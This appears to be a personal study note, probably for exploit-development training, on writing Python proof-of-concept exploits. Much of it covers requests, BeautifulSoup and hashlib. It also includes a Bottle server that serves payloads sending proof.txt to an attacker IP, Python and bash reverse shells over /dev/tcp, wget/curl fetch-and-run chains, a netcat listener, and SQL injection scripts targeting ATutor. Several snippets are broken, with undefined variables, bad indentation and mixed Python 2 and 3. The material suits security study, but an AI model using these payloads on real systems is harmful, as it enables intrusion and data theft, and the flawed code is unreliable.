Python PoC Building

PoC Structure

import sys
import argparse
import signal

# Safe exit handler
def def_handler(sig, frame):
    print("\n\n[!] Exiting…\n")
    sys.exit(1)

# Set the signal handler for Ctrl+C
signal.signal(signal.SIGINT, def_handler)

def other_function_example(): # Include the variables from argparse if needed inside ()
    # Code for function2

# Main Function. Execution Flow
def main(target, attacker_ip):
    print(f"Target: {target}, Attacker IP: {attacker_ip}")

# Write things here, call other functions if needed, state those functions blow the Crtl+C funcion

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='This script processes target and attacker IP.')
    parser.add_argument('--target', '-t', type=str, required=True, 
                        help='Target IP or domain name. ! Should include port. e.g. example:8080')
    parser.add_argument('--attacker-ip', '-a', type=str, required=True, 
                        help='Attacker IP')
    args = parser.parse_args()

    main(args.target, args.attacker_ip)

Error handling and exit

- crtl + C Exit Code

#To exit:
def def_handler(sig, frame):
	print("\n\n[!] Exiting…\n")
	sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT, def_handler)

- if-else success and failure scenarios

def some_function(parameter):
    if parameter:  # Success condition
        # Perform the intended task
        result = parameter + 10  # Some operation
        return True, result  # Return True for success and the result
    else:  # Failure condition
        print("Error: Invalid parameter")
        return False, None  # Return False for failure and None as the placeholder for the actual result

Requests Library

- Normal HTTP Request and Response

import requests
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def format_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

r = requests.get('https://manageengine:8443/', verify=False)
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))

The same script but sending the request through Burp so we can inspect it there:

import requests
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def format_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

r = requests.get('https://manageengine:8443/', verify=False, proxies=proxies)
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))

To automate this in a single script:

import requests
from colorama import Fore, Back, Style

# Disable warnings for unverified HTTPS requests
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def format_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

# Prompt for URL
url = input("Enter the URL: ")

# Prompt for proxy usage
use_proxy = input("Do you want to use a proxy? (yes/no): ").strip().lower()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} if use_proxy == 'yes' else None

# Make the request
r = requests.get(url, verify=False, proxies=proxies)

# Print response details
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))

- Sessions

We can also open a session with the requests library:

session = requests.Session()

Now we can use that session to send requests with the different methods:

Get Method:

session.get('http://example.com/')

To send it with cookies and headers:

custom_cookies = {"AEC": "Ackid1QXvuBpBGFsTtvANakz3MJ_Fsmtqlb1hOCtdqF6YW7liSByQ710aEI"}
custom_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"}
session.get("https://www.google.com:443/", headers=custom_headers, cookies=custom_cookies)

Post Method:

custom_data = {"username": "holaa", "password": "superpassword"}
session.post("https://es.wikihow.com:443/api.php", data=custom_data)

or

session.post("https://es.wikihow.com:443/api.php", data={"username": "holaa", "password": "superpassword"})

or

custom_username = "holaa"
custom_password = "superpassword"
session.post("https://es.wikihow.com:443/api.php", data={"username": custom_username, "password": custom_password})

If the data we are sending in the post request is a file, we can directly open and send it:

session.post("htttp://example.com/upload", files={'file': open('/tmp/algo.pdf', 'rb')})

To send a file manipulating the data (First check request in burp):

session.post("htttp://example.com/upload", files={'name_file':f"""data:………"""})

To set session cookies:

cookie_new_value = "value"

session.cookies.set('JSESSIONID', cookie_new_value)

To add various values to cookies:

cookie_new_values = {'name1': 'value1', 'name2': 'value2'}
   session.cookies.update(cookie_new_values)

To replace current cookies for new ones with the same name (just change value):

cookie_new_value = "value"

for cookie in session.cookies:
    if cookie.name == 'JSESSIONID':
        cookie.value = cookie_new_value

If we want to handle a request with a self-signed certificate:

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

r = requests.get('https://example.com/',verify=False)

Copy As Python-Requests

https://portswigger.net/bappstore/b324647b6efa4b6a8f346389730df160

BeautifullSoup Library

If in burp the response is directly what we want:

what_we_want = session.get(f'http://example.com/loquesea.txt').text.rstrip()
print(f"[+] txt File Downloaded Successfully: {what_we_want}")

If we want to extract just specific information (like grep command):

def grep_from_response():
    response = session.get(f'http://example.com/hola.txt').text.rstrip()
    try:
        what_we_want_to_grep = [line for line in response.split('\n') if 'contraseña' in line]
        print(f'[+] Results: {what_we_want_to_grep}')
    except AttributeError:
        print("[-] No results")

If we need to parse, then we need beautifull soap:

from bs4 import BeautifulSoup

def get_first_tag(session):
	page_source = session.get(f'http://example/loquesea').text
	soup = BeautifulSoup(page_source, 'html.parser')
	try:
		# Find the first <h1> tag and extract its text
		first_h1_tag = soup.find('h1').get_text()
		print(f'[+] First h1 Tag : {first_h1_tag}')
	except AttributeError:
		# If <h1> tag is not found, AttributeError will be raised
		print("h1 tag not found")
		

def get_second_tag(session):
	page_source = session.get(f'http://example/loquesea').text
	soup = BeautifulSoup(page_source, 'html.parser')
	try:
		# Find all <h1> tags
		h1_tags = soup.find_all('h1')
		# Remember that list indexing is zero-based, so the second element is at index 1
		second_h1_tag = h1_tags[1].get_text()
		print(f'[+] Second h1 Tag : {second_h1_tag}')
	except IndexError:
		# If there are less than two <code> tags, IndexError will be raised
print("Second <h1> tag not found")

#To extract more specific info:
def extract_info(session):
	page_source = session.get(f'http://example/loquesea').text
	soup = BeautifulSoup(page_source, 'html.parser')
    try:
        # Find the container tag with specified attributes
        container = soup.find(container_tag, **container_attrs)
        # Find the target tag within the container tag with specified attributes
        target = container.find(target_tag, **target_attrs)
        # Extract the text from the target tag
        extracted_text = target.get_text(strip=True)
        print(f'\n[+] Extracted Info: {extracted_text}')
    except AttributeError:
        print("\n[-] Information not found")

Pwntools Library Logging

# Importing the log module from pwntools
from pwn import log

# Basic usage of log - Creating a log object
# You can use this for general logging purposes
basic_log = log.progress("Basic Log")

# Updating the status of the log
basic_log.status("Performing an action")
# Simulating a task (you can replace this with your actual code)
import time; time.sleep(2)
# Simulates a task by sleeping for 2 seconds

#For example if the are retrieving a password:
password = ""
password += character
p2.status(password)

# Marking the task as successful
basic_log.success("Action performed successfully")

# Demonstrating different log levels
# Info: General information
log.info("This is an informational message.")

# Warning: Something unexpected happened, but the program can still continue
log.warning("This is a warning message.")

# Error: A more serious problem that might prevent the program from continuing
log.error("This is an error message.")

# Critical: A serious error, indicating the program might not be able to continue
log.critical("This is a critical error message.")

# Demonstrating context-specific logs
# You can create different log objects for different parts of your program
network_log = log.progress("Network Operations")
database_log = log.progress("Database Operations")

# Updating network log
network_log.status("Connecting to server")
time.sleep(1)  # Simulating a network operation
network_log.success("Connected to server")

# Updating database log
database_log.status("Querying database")
time.sleep(1.5)  # Simulating a database operation
database_log.success("Database query successful")

# Final note: This is a basic template. As you work with pwntools and Python,
# you'll find many ways to customize and extend this logging functionality.

String and Random Libraries

To create random usernames:

import random
import string

# Example 1: Only lowercase letters, 3 characters long
username_1 = ''.join(random.choice(string.ascii_lowercase) for _ in range(3))

# Example 2: Lowercase letters and numbers, 5 characters long
username_2 = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5))

# Example 3: Lowercase and uppercase letters, 6 characters long
username_3 = ''.join(random.choice(string.ascii_letters) for _ in range(6))

# Example 4: Lowercase letters, digits and special characters, 8 characters long
special_characters = "!@#$%^&*()"
username_4 = ''.join(random.choice(string.ascii_lowercase + string.digits + special_characters) for _ in range(8))

# Printing the usernames
print("Username 1:", username_1)
print("Username 2:", username_2)
print("Username 3:", username_3)
print("Username 4:", username_4)

To define characters for exploits like sqli:

# To use all printable characters
characters = string.printable 

# To use all printable ASCII characters from 32 to 127
characters = ''.join([chr(i) for i in range(32, 128)]) # All printable ASCII characters from 32 to 127

# To use lowercase letters from a-z and numbers from 0-9
characters = string.ascii_lowercase + string.digits

Web Server with Bottle

from bottle import Bottle, request

web_server = Bottle()

@web_server.route('/')  # When someone accesses the URL ('/'), the following function is called.
def example():
    param = request.query.get('PARAMETER')  # To extract a parameter from the received request
    print(f'Got parameter {param}')
    return f'Got parameter {param}'

web_server.run(host='0.0.0.0', port=80, reloader=False)

To run it as a thread:

threading.Thread(target=lambda: web_server.run(host='0.0.0.0', port=80, reloader=False)).start()

Other examples of use with bottle:

# Route to handle GET requests with query parameters
@app.route('/get-example')
def handle_get():
    # Extracting a query parameter named 'name'
    name = request.query.get('name', 'Guest')
    return f'Hello, {name}!'

# Route to handle POST requests with form data
@app.post('/post-example')
def handle_post():
    # Accessing form data: 'username' and 'password'
    username = request.forms.get('username')
    password = request.forms.get('password')
    return f'Username: {username}, Password: {password}'

# Route to access JSON data in POST requests
@app.post('/json-example')
def handle_json():
    # Accessing JSON data sent in the request body
    data = request.json
    return f'Received JSON data: {data}'

# Dynamic route with a path parameter
@app.route('/user/<username>')
def show_user(username):
    # The 'username' parameter is part of the URL path
    return f'User profile of {username}'

# Route to demonstrate setting and accessing cookies
@app.route('/cookie-example')
def cookie_example():
    # Check if a cookie named 'visits' exists
    visits = request.get_cookie('visits', default='0')
    new_visits = int(visits) + 1
    response.set_cookie('visits', str(new_visits), max_age=3600)
    return f'Number of visits: {new_visits}'

# Route to demonstrate reading HTTP headers
@app.route('/header-example')
def header_example():
    # Accessing a specific HTTP header (User-Agent)
    user_agent = request.headers.get('User-Agent')
    return f'Your User-Agent is: {user_agent}'

To start a server within the main function (we can directly pass arguments from argparse) and create paths that call python scripts to read files in the target system and print them to console, and get a reverse shell:

# Commands to execute to trigger the python files:
# f"wget http://{attacker_ip}/get_proof.py && python get_proof.py && wget http://{attacker_ip}/pwned.py && python pwned.py"
# f"curl http://{attacker_ip}/get_proof.py -o get_proof.py && python get_proof.py && curl http://{attacker_ip}/pwned.py -o pwned.py && python pwned.py"

# If we want to access the session variable from the main function inside a function in the bottle route:
#session = None

def main(target, attacker_ip):
	# If we have defined the session variable as global to be used in a bottle route. Now in the bottle route variable it doesnt need to be inserted in the ()
	#global session

    # Start the web server and create python scripts to print the flag and get a reverse shell
    web_server = Bottle()
    time.sleep(1)
    @web_server.route('/get_proof.py')
    def get_proof():
         return f"""import subprocess;subprocess.call(["/bin/sh","-c","wget http://{attacker_ip}/print_proof?proof="+open('proof.txt').read() ])"""
    # Grab proof once sended to our server
    @web_server.route('/print_proof')
    def print_proof():
        proof = request.query.get("proof")
        print(f'[+] proof.txt : {proof}\n')
    # Python Reverse shell
    @web_server.route('/pwned.py')
    def pwned():
        return f'import time,socket,subprocess,os;time.sleep(5);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker_ip}",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # To exeute this once we can RCE, use wget http://{attacker_ip}/pwned.py and then python pwned.py
    threading.Thread(target=lambda: web_server.run(host='0.0.0.0', port=80, reloader=False)).start()
    time.sleep(1)

    # Start Attack
    print(f"[*] Starting Attack against {target} ...\n")
    session = requests.Session()
    session.get(f'http://{target}/')

We can do the same with bash payloads:

# Commands to execute to trigger the python files:
# f"wget http://{attacker_ip}/get_proof.sh && chmod +x get_proof.sh && /bin/bash get_proof.sh && wget http://{attacker_ip}/pwned.sh && chmod +x pwned.sh && /bin/bash pwned.sh"
# f"curl http://{attacker_ip}/get_proof.sh -o get_proof.sh && chmod +x get_proof.sh && /bin/bash get_proof.sh && curl http://{attacker_ip}/pwned.sh -o pwned.sh && chmod +x pwned.sh && /bin/bash pwned.sh"

    @web_server.route('/get_proof.sh')
    def get_proof():
        return f""" curl "http://{attacker_ip}/print_proof?proof=$(cat proof.txt)" """ 
    # Grab proof once sended to our server
    @web_server.route('/print_proof')
    def print_proof():
        proof = request.query.get("proof")
        print(f'[+] proof.txt : {proof}\n')
    # Python Reverse shell
    @web_server.route('/pwned.sh')
    def pwned():
        return f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/777 0>&1'"

Running Commands (os and multiprocessing libraries)

- To run a command

import os

os.system("whoami")

- To start a netcat listener

import multiprocessing
import os

print(f"[*] Starting a listener in port 1337 ...\n")
multiprocessing.Process( target=os.system, args=(f'/bin/nc -lvnp 1337',) ).start()
time.sleep(1)

Events

To create an event and insert it in a function so we can continue the execution of the script once the event is terminated:

from threading import Event

custom_event = Event() # This goes in the top of the script

def custom_function()
	# Code
	custom_event.set() # This goes at then end of the function to set the event once is successfully executed, only the return goes below in case is needed
	return True # whatever
	
def main()
	#code
	#code
	custom_event.wait() #Wait for the custom_event.set() to be triggered, if it is, then continue with the code below
	#code

Hashlib Library

import hashlib
import os

# Hashlib provides a common interface to many different secure hash and message digest algorithms.
# Examples include: md5, sha1, sha224, sha256, sha384, sha512, etc.

# Example 1: Basic Hashing with MD5
def hash_md5(data):
    hasher = hashlib.md5()
    # Data is encoded to bytes using UTF-8 encoding
    hasher.update(data.encode('utf-8'))
    return hasher.hexdigest()

# Example 2: Hashing with SHA-256
def hash_sha256(data):
    hasher = hashlib.sha256()
    hasher.update(data.encode('utf-8'))
    return hasher.hexdigest()

# Example 3: Using a Salt with SHA-256
def hash_sha256_with_salt(data, salt):
    hasher = hashlib.sha256()
    # Salts are typically stored as bytes, so we directly use the salt as bytes
    hasher.update(salt + data.encode('utf-8'))
    return hasher.hexdigest()

# Generating a random salt
def generate_salt():
    # os.urandom() generates a string of size random bytes suitable for cryptographic use.
    # The salt is already in byte form, so no need to encode it again
    return os.urandom(16)

# Example usage
data = "Hello, world!"
salt = generate_salt()

print("MD5 Hash:", hash_md5(data))
print("SHA-256 Hash:", hash_sha256(data))
print("SHA-256 Hash with Salt:", hash_sha256_with_salt(data, salt))

# Note: Hash functions are one-way functions. They can't be 'decoded' or 'reversed'.
# To verify a hash, you must hash the original data again and compare the results.

To generate an encryption key:

def key_generation(data, salt):
	key = data + salt
	return hashlib.sha256(keytext.encode('utf-8')).digest()[:24]	

#Concatenation with Salt:
# This is a typical pattern in cryptographic functions where a salt (a random or unique string) is added to another piece of data (like an email address) to enhance security.

# SHA-256 Hashing:
# The concatenated string (keytext) is then encoded to bytes and hashed using the SHA-256 algorithm, a cryptographic hash function.

# The .digest() method returns the byte string of the hash.

# Slicing the Digest to 24 Bytes:
# The [:24] part is a slicing operation in Python. It takes the first 24 bytes of the 32-byte SHA-256 hash.
# The cryptographic operation requires a key of a certain length, which is 24 bytes in this case, usefull for the use of Triple DES encryption.
# Others are the following:
# 16 Bytes (128 bits) - Common for AES-128:
# 32 Bytes (256 bits) - Full SHA-256 Hash:
# 8 Bytes (64 bits) - For Simpler/Legacy Systems:
# 20 Bytes (160 bits) - SHA-1 Hash Length:

# To call the function:
# With specific arguments:
generated_key = key_generation("algo@example.com", "salt:)")
# With variables:
custom_data = "adios"
custom_salt = "hola"
generated_key = key_generation(custom_data, custom_salt)

To decrypt something:

def decryption(klok): # Add the variables tu used for the key_for_decryption function
	klok_value = #Value of thing to decrypt
	key_for_decryption = # Call function to generate the used key
	klok_decryption = # Decryption Algorithm setup
	return klok_decryption.decrypt(data=klok_val) 

# Example in wich:
# klok is expected to be a string containing data encoded in Base64 format, typically with segments separated by periods (.). The function splits klok at the period, takes the second segment (index 1), and decodes it from Base64.
# urlsafe_b64decode is used here, which means the Base64 encoding is URL-safe (different characters for + and /).
# Decryption Algorithm is Triple DES (pyDes.triple_des)
def decryption(klok): # Add the variables tu used for the key_for_decryption function
	klok_value = base64.urlsafe_b64decode(klok.split(".")[1])
	key_for_decryption = #Call function to generate the used key
	klok_decryption = pyDes.triple_des(key=key_for_decryptio, pad=None, mode=pyDes.ECB, padmode=pyDes.PAD_PKCS5)
return klok_decryption.decrypt(data=klok_val)

decoded_klok = decryption(klok).decode('utf-8').split('|')[0]
# In this example, the decoded string, once converted to utf-8, is then split using the '|' character as a delimiter.
# The decrypted data is expected to be in a format where different pieces of information are separated by '|'.
# After splitting, it selects the first element of the resulting list (index [0]). This means you're only interested in the piece of information before the first '|' character in the decrypted and decoded string.

To encrypt:

def encryption(klok):
	data = # Data to encrypt
	key_for_encryption = #Call function to generate the used key
	klok_decryption = #Copy decryption
	byte_encryption = klok_decryption.encrypt(data=data.encode('utf-8'))
	return klok + '.' + base64.urlsafe_b64encode(byte_encryption).decode('utf-8')

SQLi Error Based Detection

To send an unauthenticated request and try locating a SQL Injection:

import sys
import re
import requests
from bs4 import BeautifulSoup

def searchFriends_sqli(ip, inj_str):
    target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str)
    r = requests.get(target)
    s = BeautifulSoup(r.text, 'lxml')
    
    print("Response Headers:")
    print(r.headers)
    print()
    
    print("Response Content:")
    print(s.text)
    print()
    
    error = re.search("Invalid argument", s.text)
    if error:
        print("Errors found in response. Possible SQL injection found")
    else:
        print("No errors found")

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <injection_string>" % sys.argv[0])
        print('(+) eg: %s 192.168.121.103 "aaaa\'" ' % sys.argv[0])
        sys.exit(-1)

    ip = sys.argv[1]
    injection_string = sys.argv[2]
    searchFriends_sqli(ip, injection_string)

if __name__ == "__main__":
    main()

python poc1.py atutor "AAAA'"

To test if it is vulnerable:

import requests
import sys

def searchFriends_sqli(ip, inj_str, query_type):
    target = f"http://{ip}/ATutor/mods/_standard/social/index_public.php?q={inj_str}"
    r = requests.get(target)
    content_length = int(r.headers['Content-Length'])
    
    if (query_type and content_length > 20) or (not query_type and content_length == 20):
        return True
    else:
        return False

def main():
    if len(sys.argv) != 2:
        print "(+) usage: %s <target>" % sys.argv[0]
        print '(+) eg: %s 192.168.121.103' % sys.argv[0]
        sys.exit(-1)
    
    ip = sys.argv[1]
    false_injection_string = "test')/**/or/**/(select/**/1)=0%23"
    true_injection_string = "test')/**/or/**/(select/**/1)=1%23"
    
    if searchFriends_sqli(ip, true_injection_string, True) and searchFriends_sqli(ip, false_injection_string, False):
        print "(+) the target is vulnerable!"

if __name__ == "__main__":
    main()

Last updated